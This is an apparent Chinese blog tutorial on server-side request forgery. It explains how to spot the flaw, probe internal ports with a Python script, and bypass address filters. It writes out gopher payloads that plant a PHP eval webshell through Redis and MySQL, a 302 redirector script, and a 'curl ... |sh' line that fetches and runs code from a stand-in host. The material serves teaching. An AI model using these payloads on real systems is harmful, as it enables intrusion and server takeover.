SSRF (服务端请求伪造)

🎼个人主页:金灰

😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨

专注网络空间安全服务,期待与您的交流分享~

感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️

🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~
免责声明:本文仅做技术交流与学习...

目录

SSRF

特点:

条件:

判断:

URL格式:

SSRF的利用面:

[1 任意文件读取](#1 任意文件读取)

[2 探测内网资源](#2 探测内网资源)

[3 使用gopher协议扩展攻击面](#3 使用gopher协议扩展攻击面)

ssrf端口开放检测脚本:

[redis 6379 :](#redis 6379 :)

[mysql 3306:](#mysql 3306:)

php-fpm:

Gopherus-master工具(py2)

php原生类进行ssrf

ssrf绕过:

[1 enclosed alphanumerics 绕过:](#1 enclosed alphanumerics 绕过:)

[2 使用IP地址转换](#2 使用IP地址转换)

[3 特殊语法绕过](#3 特殊语法绕过)

[4 如果对方可以接受302跳转,并且跟进302跳转](#4 如果对方可以接受302跳转,并且跟进302跳转)

302.php

[5 利用短网址绕过](#5 利用短网址绕过)


SSRF

Server-side Request Forgery 服务端请求伪造.

攻击者向服务端发送包含恶意url连接的请求,借由服务端发起请求--
以便获取服务端网络内部的资源


一句话总结:
控制服务端使用指定协议访问指定的url

特点:

1 让别人访问我们访问不到的url
2 拿到自己本来拿不到的数据

条件:

1 别人能帮我访问url 服务端有接受url地址并进行访问的功能(请求是服务端发起的)
2 url地址外部可控

判断:

php 复制代码
https://xxx.com/index.php?url=http://www.baidu.com
//index.php-->
<?php
$url = $_GET['url'];
header('location:'.$url); //302的跳转
?>
是不是属于ssrf?
========================
告诉浏览器,你去访问这个地址 
此时,浏览器,是客户端还是服务端?

客户端   
此时,服务器没有访问这个Url,只是告诉你浏览器,去跳转到这个地址去
是浏览器去访问,不是服务端去访问(location)
所以,不是SSRF
只能算 任意跳转漏洞
php 复制代码
<?php
$url = $_GET['url'];
header('location:'.$url); //302的跳转

//服务端访问(php代码)
echo file_get_contents("$url");

分清 是否是ssrf?

url地址可控

http://10.xx.xx.xx/

file:///etc/passwd


URL格式:

php 复制代码
URL = scheme:[//authority]path[?query][#fragment]
schema: 协议头
://
authority 
[userinfo@]host[:port]
默认使用80端口,而80端口默认情况下,是可以省略

http://www.baidu.com/robots.txt
--->
本质,就是 通过指定的协议,访问互联网上某台服务器的某个资源或者某个文件
默认使用匿名账户访问---
userinfo: username:password@host

schema://username:password@host:port/path?a=b#top
http://ctfer:hacker@www.baidu.com/robots.txt     //任意匿名都能访问

必须知道要读的文件名(通配符不支持)


SSRF的利用面:

1 任意文件读取

--前提是知道要读取的文件名

2 探测内网资源

php 复制代码
127.0.0.1 mysql服务端监听了127.0.0.1这个地址,也就表示,只能通过127.0.0.1这个IP来访问
0.0.0.0 表示允许任意ip访问
192.168.233.233 只允许特定的IP地址访问
(探测到此服务器同内网的服务器)

3 使用gopher协议扩展攻击面

// 只负责将数据转发到某端口.

php 复制代码
 apache/nginx 80
 tomcat 8080
 node 3000
 flask 8080
 php-fpm 9000
 mysql 3306
 ftp 21
 ssh 22
 redis 6379

#21 ftp
#22 ssh
#80 http
#443 https
#3389 rdp windows远程桌面
#1433 ms-sqlserver 默认端口
#3306 mysql 默认端口
#6379 redis 默认端口
#9000 php-fpm 默认端口

ssrf端口开放检测脚本:

python 复制代码
import requests
url = "<ssrf入口网址>"
# 端口自己变
ports = [21,22,80,443,3389,1433,3306,6379]
for p in ports:
    try:
        data={"url":f"gopher://127.0.0.1:{p}/"}
        response = requests.post(url=url,data=data,timeout=2) #超时2秒就认为端口开了.
    except:
        print(f"端口{p}开放")

file:///etc/nginx/nginx.conf


redis 6379 :

python 复制代码
支持key-value  
 gopher://127.0.0.1:6379/_save_/var/www/html/1.php_<?php eval($_POST[1]);?>

mysql 3306:

python 复制代码
用户密码为空 
 select '<?php eval($_POST[1];?>)'

php-fpm:

python 复制代码
php-fpm 默认监听9000端口,而且只允许本机127.0.0.1这个地址访问
 主要负责对.php文件的代码解释执行  
----->
 我们可以通过向9000端口发送格式的请求,来让9000端口背后的php-fpm帮我们处理我们提交的php代码
----
 通过向9000端口发送php执行请求
 设置php.ini中的运行参数
 其中使用 auto_append_file 来指定 php://input 包含恶意代码,然后执行
 为了能使用auto_append_file参数,必须有一个存在的php文件来使用这个配置项

curl http://your-shell.com/IP:PORT |sh

Gopherus-master工具(py2)

ssrf----生成数据库...的payload

实战时注意二次编码等等


php原生类进行ssrf

php_soap

python 复制代码
php_soap
php -m   //查看安装的插件,扩展

$soap = new SoapClient($_GET['url']);
$soap->hack();  //访问任意不存在方法。
//$soap->__call() //不存在就调用__call方法

--访问不存在的地址,
--只支持http
url可控时,可以发送内网请求

ssrf绕过:

只要不允许它访问本地地址即可,也就是说,过滤的目的是,不让访问127.0.0.1地址

1 enclosed alphanumerics 绕过:

127.0.0.1 -> 127.⓿.⓿.1

(有些环境 Linux可用)


2 使用IP地址转换

IP地址十六进制、二进制、十进制转换-ME2在线工具

在线IP地址转八进制数字 - 八进制转IP地址 - IP转八进制在线工具---LZL在线工具

python 复制代码
https://www.metools.info/other/ipconvert162.html
https://lzltool.cn/Tools/IpToOct
所有的域名->IP  
ip可以使用不同进制来表示 

127.0.0.1用不同进制可以表示为
- 2130706433  10进制 http://2130706433  
- 017700000001 8进制 http://017700000001 
- 7F000001 16进制   http://0x7F000001 
-二进制不行.

3 特殊语法绕过

python 复制代码
Windows 下 0 代表的是0.0.0.0 
而Linux 下 0 代表的是127.0.0.1

127.0.0.1 可以省略为 127.1	(省略)
127。0。0。1 可以替代127.0.0.1	(中文点)

4 如果对方可以接受302跳转,并且跟进302跳转

python 复制代码
可以发送http的协议。但是返回的location为其他协议
http://xxx.com/302.php?schema=gopher&host=127.0.0.1&port=9000&payload=xxxx
--把要构建的要素发给302跳转,让它帮我们组装一个.

302.php  //服务端接受302跳转,我们跟进一下.

302.php

php 复制代码
<?php  
$schema = $_GET['s'];
$ip     = $_GET['i'];
$port   = $_GET['p'];
$query  = $_GET['q'];
if(empty($port)){  
    header("Location: $schema://$ip/$query"); 
} else {
    header("Location: $schema://$ip:$port/$query"); 
}

5 利用短网址绕过

在线短链接生成工具 - 免费短网址转换 - toolfk

php 复制代码
https://toolfk-api.xiuxiandou.com/zh-cn/tools/short-url.html
baidu.com  不允许出现baidu

或者限制了url长度,我们可以切换为短网址,来绕过长度的限制

相关推荐
淡水猫.4 分钟前
Fakelocation Server服务器/专业版 ubuntu
运维·服务器·ubuntu
黑客Ela5 分钟前
网络安全中常用浏览器插件、拓展
网络·安全·web安全·网络安全·php
西京刀客16 分钟前
密码学之柯克霍夫原则(Kerckhoff原则)
安全·密码学
量子网络16 分钟前
debian 如何进入root
linux·服务器·debian
时光の尘20 分钟前
C语言菜鸟入门·关键字·float以及double的用法
运维·服务器·c语言·开发语言·stm32·单片机·c
Gworg24 分钟前
创建HTTPS网站
安全·https·ssl
qdprobot26 分钟前
ESP32桌面天气摆件加文心一言AI大模型对话Mixly图形化编程STEAM创客教育
网络·人工智能·百度·文心一言·arduino
huaqiwangan36 分钟前
电子远勘在侦查中有什么作用?
网络安全
我言秋日胜春朝★1 小时前
【Linux】进程地址空间
linux·运维·服务器
繁依Fanyi2 小时前
简易安卓句分器实现
java·服务器·开发语言·算法·eclipse